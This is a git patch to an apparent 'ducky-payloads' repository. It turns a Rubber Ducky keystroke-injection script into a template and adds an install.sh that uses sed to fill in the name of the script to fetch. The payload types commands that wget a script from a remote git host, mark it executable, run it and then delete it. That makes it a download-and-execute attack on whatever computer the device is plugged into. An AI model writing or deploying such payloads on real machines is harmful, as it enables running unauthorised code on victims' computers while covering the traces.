From a96d397a94756d5cbd77abb56decadac93e426fc Mon Sep 17 00:00:00 2001 From: jasmine Date: Fri, 3 Jan 2025 16:29:33 +0800 Subject: [PATCH] add install.sh --- payload.dd => example.dd | 8 ++++---- install.sh | 3 +++ 2 files changed, 7 insertions(+), 4 deletions(-) rename payload.dd => example.dd (71%) create mode 100755 install.sh diff --git a/payload.dd b/example.dd similarity index 71% rename from payload.dd rename to example.dd index af2cc2a..bb410b9 100644 --- a/payload.dd +++ b/example.dd @@ -4,19 +4,19 @@ REM DESCRIPTION Fetch and execute a script from remote repository REM VERSION 1.0 DELAY 200 -STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh +STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/script.sh ENTER DELAY 200 -STRING chmod +x hello_world.sh +STRING chmod +x script.sh ENTER DELAY 200 -STRING ./hello_world.sh +STRING ./script.sh ENTER DELAY 200 -STRING rm hello_world.sh +STRING rm script.sh ENTER DELAY 200 diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..baa2a65 --- /dev/null +++ b/install.sh @@ -0,0 +1,3 @@ +#!/bin/sh +sed s/script.sh/$1/g example.dd > payload.dd +